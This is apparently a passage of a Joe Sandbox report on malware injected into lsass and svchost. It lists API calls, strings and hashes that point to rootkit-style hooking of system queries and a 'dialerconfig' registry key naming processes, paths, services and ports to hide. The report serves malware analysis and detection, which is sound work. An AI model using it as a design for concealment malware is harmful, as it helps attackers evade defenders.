Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: fd2f36d4469ca00d580b9035ee875e4ebab09abcf6c64778c8a765e7c8b01963
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E9619F33610B888AEB21DF66D0403DE77B2FB48B89F244215EF4917BA8DB38D166D700

Function 00000140AE862330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000140AE862416
StrCpyW.SHLWAPI ref: 00000140AE86242D

Strings

\\.\pipe\, xrefs: 00000140AE862421

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: c9d078df74486e421dded553d044dc307dfc5948a87b49d5b9b062cc3c97baf6
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: EE51E03228438181E676DB2FA1583EAA791F3CD7A4F640165DF4D03BAADA39CD44C7C2

Function 00000140AE8726F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000140AE872807
GetLastError.KERNEL32 ref: 00000140AE872829

Strings

U, xrefs: 00000140AE8727B3

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 3e73605a521e4cce57338457d13aec77e0fda4a33a28f7c4ac6780cba42ba59d
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 48417172615B8086DB219F6AE8443E977A1F7987A4F604025EF4D87BA4DB3CC941C781

Function 00000140AE8694A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000140AE8694F0
RaiseException.KERNEL32 ref: 00000140AE869531

Strings

csm, xrefs: 00000140AE86951E

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: c81f436458b37827e035cf8ccd5af5f126ed8c86e3896386e64a1e0766a3eb38
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: D7112B32614B8082EB628B16E44439977E5F788BA8F684260EF8C077A9DF3CC955CB40

Function 00000140ADFC7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC737C

Strings

ierarchy Descriptor', xrefs: 00000140ADFC7381
riptor at (, xrefs: 00000140ADFC7364

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 56ed09fddae288ef6c89d74bd241d2dfe88a9543861981f92f91ccf0ba0ae745
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: DCE08671650B4892DF038F22E8402D933A3DF5DB68B9891229A5C07321FA38D1FAD301

Function 00000140ADFC73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC73D8

Strings

Locator', xrefs: 00000140ADFC73DD
riptor at (, xrefs: 00000140ADFC73C0

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 4940423c840106aa278dadeec7b987efc7fd2bbde3a41644df2d62b25ed6cadf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 05E08671610B4886DF028F22E4401D97363EF5DB58B989122CA4C07321FA38D1E6D300

Function 00000140AE861BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861C2D
HeapAlloc.KERNEL32 ref: 00000140AE861C3B
GetProcessHeap.KERNEL32 ref: 00000140AE861C77
HeapFree.KERNEL32 ref: 00000140AE861C85

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 65c83ae18bbeee38c1f395d24bd21a894001158fe5ba6808c8c40ff99673c146
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 0F119E35A41B5485EB46DB6BA8082A977A1FB8DFE0F284028DF4D47776DF38C842D381

Function 00000140AE861268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE86126E
HeapAlloc.KERNEL32 ref: 00000140AE86127D
GetProcessHeap.KERNEL32 ref: 00000140AE861297
HeapAlloc.KERNEL32 ref: 00000140AE8612A8

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8c25a065afb30b7e91423b8a6a5c310c77542b609ab35f2169316764477aec7c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 47E03935A4170486EB068B63D80838A36E1EB8EB26F2480248E0907361DF7D8899D7A1

Analysis Process: svchost.exePID: 924, Parent PID: 6768COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	2

Executed Functions

Function 00000195DD5C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000195DD5C32AE
PathFindFileNameW.SHLWAPI ref: 00000195DD5C32BD

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Part of subcall function 00000195DD5C3790: GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

CreateThread.KERNEL32 ref: 00000195DD5C330B

Part of subcall function 00000195DD5C1D14: GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b559a2181ff40e2a117a780b745b7d932bb3298ad3057c49ecb9ab2035d3dd06
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 9C11C030A12F0C82FB72ABE9F9387D923D7A784B85F504124DA06E1EA5EFB9C044C350

Function 00000195DD5C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000195DD5C1628: GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
Part of subcall function 00000195DD5C1628: HeapAlloc.KERNEL32 ref: 00000195DD5C1642
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA

Sleep.KERNEL32 ref: 00000195DD5C1AD7
SleepEx.KERNELBASE ref: 00000195DD5C1ADD

Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: f3b7e964aa4799e71de0d0524ef43308711ea80b0fc304bbb8b55dd9ae371198
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: C7315171202E0951FF52ABAADA70BE963E7AB54BD4F0454218E0EE7FD5FE20C861C750

Function 00000195DD5C3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Strings

dialer, xrefs: 00000195DD5C3855

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 8525adf6a2d64dd7061414e58bca951bdbbd2a01b88122cd2fc985ec43bc3963
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 89D0A770353B0DC7FF26DFEA88E46E423E2EB08744F884030C90052A50DB18898D9B20

Function 00000195DD59273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000195DD59285E

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 3c42989a6f1da65d8c668265381177c755b331e9ddf0642a5a91f75fe2288bf4
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: DF612632B01A90C7DB56CF65D020BBD73D7F754BA4F988125DE5927B88DA38D892CB00

Non-executed Functions

Function 00000195DD5C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000195DD5C2BD0
lstrlenW.KERNEL32 ref: 00000195DD5C2E0A

Part of subcall function 00000195DD5C199C: OpenProcess.KERNEL32 ref: 00000195DD5C19C2
Part of subcall function 00000195DD5C199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
Part of subcall function 00000195DD5C199C: PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
Part of subcall function 00000195DD5C199C: lstrlenW.KERNEL32 ref: 00000195DD5C19FB
Part of subcall function 00000195DD5C199C: StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
Part of subcall function 00000195DD5C199C: CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

GetProcAddress.KERNEL32 ref: 00000195DD5C2BE5

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

StrCmpNIW.SHLWAPI ref: 00000195DD5C2C28
lstrlenW.KERNEL32 ref: 00000195DD5C2D50

Strings

ntdll.dll, xrefs: 00000195DD5C2BC9
NtQueryObject, xrefs: 00000195DD5C2BDB
\Device\Nsi, xrefs: 00000195DD5C2C1B

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction ID: dde7fd9efa89a5466707bb46948bcd2f38f9c7ac15f82b741b3087f18559b81d
Opcode Fuzzy Hash: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction Fuzzy Hash: 40B1AF76212E5882EB669FA9D460BE973E6FB54B84F485016EE09B3F94EF34CC41C740

Function 00000195DD5C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000195DD5C7DAC
RtlCaptureContext.NTDLL ref: 00000195DD5C7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5C7DF3
RtlVirtualUnwind.NTDLL ref: 00000195DD5C7E34
IsDebuggerPresent.KERNEL32 ref: 00000195DD5C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EB4

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: fc690ca620e4485241193952ba8c83509054a4c62fcfc94005514e0c22233189
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: B0314F72205F848AEB619FA4E8607ED73E5F784744F44442ADA4EA7F98EF38C549C710

Function 00000195DD5CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000195DD5CD31D
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5CD335
RtlVirtualUnwind.NTDLL ref: 00000195DD5CD370
IsDebuggerPresent.KERNEL32 ref: 00000195DD5CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3BE

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 88954bb95814ee6b498564cf1bdcac9ec7b9223e226e11f4f982859e9a819e51
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 77313A32215F8486EB618B69E8503DE73E5F789794F500126EA9D93F98EF38C546CB00

Function 00000195DD5C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
HeapAlloc.KERNEL32 ref: 00000195DD5C1642

Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C127D
Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA
RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Part of subcall function 00000195DD5C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C1338
Part of subcall function 00000195DD5C12BC: RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
Part of subcall function 00000195DD5C12BC: HeapFree.KERNEL32 ref: 00000195DD5C1418
Part of subcall function 00000195DD5C12BC: lstrlenW.KERNEL32 ref: 00000195DD5C1421
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C143D

Strings

process_names, xrefs: 00000195DD5C174D
paths, xrefs: 00000195DD5C1788
startup, xrefs: 00000195DD5C16D5
tcp_local, xrefs: 00000195DD5C17FE
tcp_remote, xrefs: 00000195DD5C1839
SOFTWARE\dialerconfig, xrefs: 00000195DD5C1692
service_names, xrefs: 00000195DD5C17C3
udp, xrefs: 00000195DD5C1874
pid, xrefs: 00000195DD5C1712

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 3fed60f760ab3f32da691e52dbf4ab303354c7f47779857e17f14048716fb99a
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A1711C36311F1886EB119FA6E860AD923F6FB85B89F005111DE4EA7F69EF34C485C750

Function 00000195DD5C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
HeapAlloc.KERNEL32 ref: 00000195DD5C1338
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
HeapFree.KERNEL32 ref: 00000195DD5C1418
lstrlenW.KERNEL32 ref: 00000195DD5C1421
GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
HeapAlloc.KERNEL32 ref: 00000195DD5C143D
StrCpyW.SHLWAPI ref: 00000195DD5C145F
GetProcessHeap.KERNEL32 ref: 00000195DD5C1476
HeapFree.KERNEL32 ref: 00000195DD5C1484

Strings

d, xrefs: 00000195DD5C135A

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 495f4bd1ccfcfb5c7fe309b38a271ae55a6fce5f460d804d76d8676db85ca4e3
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 30515B36201F8886EB51CFA6E46879A77E2F789F89F044124DA4957B18DF3CC04ACB10

Function 00000195DD5C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Part of subcall function 00000195DD5C1FD4: GetModuleHandleA.KERNEL32 ref: 00000195DD5C1FEC
Part of subcall function 00000195DD5C1FD4: GetProcAddress.KERNEL32 ref: 00000195DD5C1FFD

Part of subcall function 00000195DD5C5B30: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B

Strings

ntdll.dll, xrefs: 00000195DD5C1D2D
NtQuerySystemInformation, xrefs: 00000195DD5C1D45
EnumServiceGroupW, xrefs: 00000195DD5C1DF0
NtResumeThread, xrefs: 00000195DD5C1D62
advapi32.dll, xrefs: 00000195DD5C1DF7, 00000195DD5C1E18
NtQueryDirectoryFileEx, xrefs: 00000195DD5C1D9C
NtEnumerateValueKey, xrefs: 00000195DD5C1DD6
sechost.dll, xrefs: 00000195DD5C1E39
NtQueryDirectoryFile, xrefs: 00000195DD5C1D7F
NtDeviceIoControlFile, xrefs: 00000195DD5C1E56
EnumServicesStatusExW, xrefs: 00000195DD5C1E11, 00000195DD5C1E32
NtEnumerateKey, xrefs: 00000195DD5C1DB9

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 0a117424bb8ec17e06fa24497d1726645dd05d6d29179111a98c9b800477247c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D1318274142E4EE0FB17EFE9E871AE463E3B714398FC450139449B2E759E78824AD760

Function 00000195DD596910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD596938
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD59698A
_RTC_Initialize.LIBCMT ref: 00000195DD5969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5969DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD596A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 00000195DD5969EE
`eh vector copy constructor iterator', xrefs: 00000195DD596A3B
scriptor', xrefs: 00000195DD596B39, 00000195DD596BB2, 00000195DD596BEC
`dynamic initializer for ', xrefs: 00000195DD5969C7

Memory Dump Source

